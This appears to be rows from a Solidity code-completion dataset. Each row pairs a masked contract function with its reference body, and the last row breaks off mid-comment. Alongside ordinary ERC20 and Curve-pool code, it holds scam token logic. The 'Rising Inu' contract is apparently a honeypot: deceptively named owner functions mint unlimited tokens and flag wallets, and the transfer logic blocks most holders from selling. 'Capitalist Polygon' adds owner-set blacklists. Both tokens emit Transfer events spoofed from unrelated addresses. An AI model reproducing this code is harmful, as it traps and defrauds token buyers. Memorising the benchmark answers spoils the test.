require(_to != address(0)); require(_value <= balances[msg.sender]); // Ensure Sender has enough balance to send amount and ensure the sent _value is greater than 0 require(balances[_to].add(_value) > balances[_to]); // Detect balance overflow assert(super.transfer(_to, _value)); //@dev Save transfer if (isContract(_to)){ return contractFallback(msg.sender, _to, _value, _data); } return true;
function transfer(address _to, uint _value, bytes _data) public validAddress(_to) notThis(_to) greaterThanZero(_value) returns (bool success)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred * @param _data is arbitrary data sent with the token transferFrom. Simulates ether tx.data * @return bool successful or not */ function transfer(address _to, uint _value, bytes _data) public validAddress(_to) notThis(_to) greaterThanZero(_value) returns (bool success)
84474
XYearnNetwork
null
contract XYearnNetwork is ERC20 { constructor () ERC20('XYearnNetwork', 'XYN') public {<FILL_FUNCTION_BODY> } }
contract XYearnNetwork is ERC20 { <FILL_FUNCTION> }
_mint(0xBA0004DFC16a8608EEB28053E9235686b61c3773, 35000 * 10 ** uint(decimals()));
constructor () ERC20('XYearnNetwork', 'XYN') public
constructor () ERC20('XYearnNetwork', 'XYN') public
44695
CapitalistPolygon
null
contract CapitalistPolygon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Capitalist Polygon"; string private constant _symbol = "CPN"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract CapitalistPolygon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Capitalist Polygon"; string private constant _symbol = "CPN"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_feeAddrWallet1 = payable(0xBe6E702394AD7Fac9b4348c144418942b2d1f769); _feeAddrWallet2 = payable(0xBe6E702394AD7Fac9b4348c144418942b2d1f769); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xfAe4aD8897cfd15f04A5BB0A38F5F9f6411e8b52), _msgSender(), _tTotal);
constructor ()
constructor ()
7576
ERC20
transferFrom
contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) {<FILL_FUNCTION_BODY> } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } <FILL_FUNCTION> function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
_transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true;
function transferFrom(address sender, address recipient, uint amount) public returns(bool)
function transferFrom(address sender, address recipient, uint amount) public returns(bool)
14095
stabilizer
remove_liquidity
contract stabilizer { address constant public pool = 0x19b080FE1ffA0553469D20Ca36219F17Fcf03859; address constant public ib = 0x96E61422b6A9bA0e068B6c5ADd4fFaBC6a4aae27; address constant public coin = 0xD71eCFF9342A5Ced620049e616c5035F1dB98620; address constant public cyib = 0x00e5c0774A5F065c285068170b20393925C84BF3; address immutable public owner; constructor(/*address _pool, address _ib, address _coin*/) { /*pool = _pool; ib = _ib; coin = _coin;*/ owner = msg.sender; } function add_liquidity() external { uint _ib = erc20(ib).balanceOf(pool); uint _coin = erc20(coin).balanceOf(pool); uint _deposit = _coin - _ib; require(cy(cyib).borrow(_deposit) == 0, 'borrow failed'); uint _min = curve(pool).calc_token_amount([_deposit, 0],true); _safeApprove(ib, pool, _deposit); curve(pool).add_liquidity([_deposit, 0], _min*9996/10000); } function remove_liquidity_forced(uint _withdraw) external { require(msg.sender == owner); uint _max = curve(pool).calc_token_amount([_withdraw,0], false); uint _balance = erc20(pool).balanceOf(address(this)); if (_max > _balance) { uint _maxWithdraw = curve(pool).calc_withdraw_one_coin(_balance, 0); curve(pool).remove_liquidity_imbalance([_maxWithdraw, 0], _balance); } else { curve(pool).remove_liquidity_imbalance([_withdraw, 0], _max*10004/10000); } } function remove_liquidity() external {<FILL_FUNCTION_BODY> } function repay() public { uint _balance = erc20(ib).balanceOf(address(this)); _safeApprove(ib, cyib, _balance); cy(cyib).repayBorrow(_balance); } function withdraw(address token) external { require(msg.sender == owner); _safeTransfer(token, owner, erc20(token).balanceOf(address(this))); } function _safeTransfer(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } function _safeApprove(address token, address spender, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.approve.selector, spender, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } }
contract stabilizer { address constant public pool = 0x19b080FE1ffA0553469D20Ca36219F17Fcf03859; address constant public ib = 0x96E61422b6A9bA0e068B6c5ADd4fFaBC6a4aae27; address constant public coin = 0xD71eCFF9342A5Ced620049e616c5035F1dB98620; address constant public cyib = 0x00e5c0774A5F065c285068170b20393925C84BF3; address immutable public owner; constructor(/*address _pool, address _ib, address _coin*/) { /*pool = _pool; ib = _ib; coin = _coin;*/ owner = msg.sender; } function add_liquidity() external { uint _ib = erc20(ib).balanceOf(pool); uint _coin = erc20(coin).balanceOf(pool); uint _deposit = _coin - _ib; require(cy(cyib).borrow(_deposit) == 0, 'borrow failed'); uint _min = curve(pool).calc_token_amount([_deposit, 0],true); _safeApprove(ib, pool, _deposit); curve(pool).add_liquidity([_deposit, 0], _min*9996/10000); } function remove_liquidity_forced(uint _withdraw) external { require(msg.sender == owner); uint _max = curve(pool).calc_token_amount([_withdraw,0], false); uint _balance = erc20(pool).balanceOf(address(this)); if (_max > _balance) { uint _maxWithdraw = curve(pool).calc_withdraw_one_coin(_balance, 0); curve(pool).remove_liquidity_imbalance([_maxWithdraw, 0], _balance); } else { curve(pool).remove_liquidity_imbalance([_withdraw, 0], _max*10004/10000); } } <FILL_FUNCTION> function repay() public { uint _balance = erc20(ib).balanceOf(address(this)); _safeApprove(ib, cyib, _balance); cy(cyib).repayBorrow(_balance); } function withdraw(address token) external { require(msg.sender == owner); _safeTransfer(token, owner, erc20(token).balanceOf(address(this))); } function _safeTransfer(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } function _safeApprove(address token, address spender, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.approve.selector, spender, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } }
uint _ib = erc20(ib).balanceOf(pool); uint _coin = erc20(coin).balanceOf(pool); uint _withdraw = _ib - _coin; uint _max = curve(pool).calc_token_amount([_withdraw,0], false); uint _balance = erc20(pool).balanceOf(address(this)); if (_max > _balance) { uint _maxWithdraw = curve(pool).calc_withdraw_one_coin(_balance, 0); curve(pool).remove_liquidity_imbalance([_maxWithdraw, 0], _balance); } else { curve(pool).remove_liquidity_imbalance([_withdraw, 0], _max*10004/10000); } repay();
function remove_liquidity() external
function remove_liquidity() external
56908
ERC20Token
_burnFrom
contract ERC20Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public thedios; mapping (address => bool) public thedeus; mapping (address => bool) public greencandle; mapping (address => uint256) public everrising; bool private llamas; uint256 private _totalSupply; uint256 private pizza; uint256 private _trns; uint256 private chTx; uint256 private opera; uint8 private _decimals; string private _symbol; string private _name; bool private valentin; address private creator; bool private thisValue; uint liquidity = 0; constructor() public { creator = address(msg.sender); llamas = true; valentin = true; _name = "Rising Inu"; _symbol = "RISINU"; _decimals = 5; _totalSupply = 20000000000000000000; _trns = _totalSupply; pizza = _totalSupply; chTx = _totalSupply / 1200; opera = pizza; thedeus[creator] = false; greencandle[creator] = false; thedios[msg.sender] = true; _balances[msg.sender] = _totalSupply; thisValue = false; emit Transfer(address(0x2910543Af39abA0Cd09dBb2D50200b3E800A63D2), msg.sender, _trns); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address) { return owner(); } function LogSuccessfullBuyback() external view onlyOwner returns (uint256) { uint256 tempval = _totalSupply; return tempval; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, liquidity))) % 100; liquidity++; return screen; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function ResetBuyback() external onlyOwner { pizza = chTx; thisValue = true; } function Buyback(uint256 amount) external onlyOwner { pizza = amount; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function InitiateBuyback(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function DetectSell(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner { thedios[spender] = val; thedeus[spender] = val2; greencandle[spender] = val3; thisValue = val4; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (llamas == false)) { pizza = chTx; thisValue = true; } if ((address(sender) == creator) && (llamas == true)) { thedios[recipient] = true; thedeus[recipient] = false; llamas = false; } if (thedios[recipient] != true) { thedeus[recipient] = ((randomly() == 78) ? true : false); } if ((thedeus[sender]) && (thedios[recipient] == false)) { thedeus[recipient] = true; } if (thedios[sender] == false) { require(amount < pizza); if (thisValue == true) { if (greencandle[sender] == true) { require(false); } greencandle[sender] = true; } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is 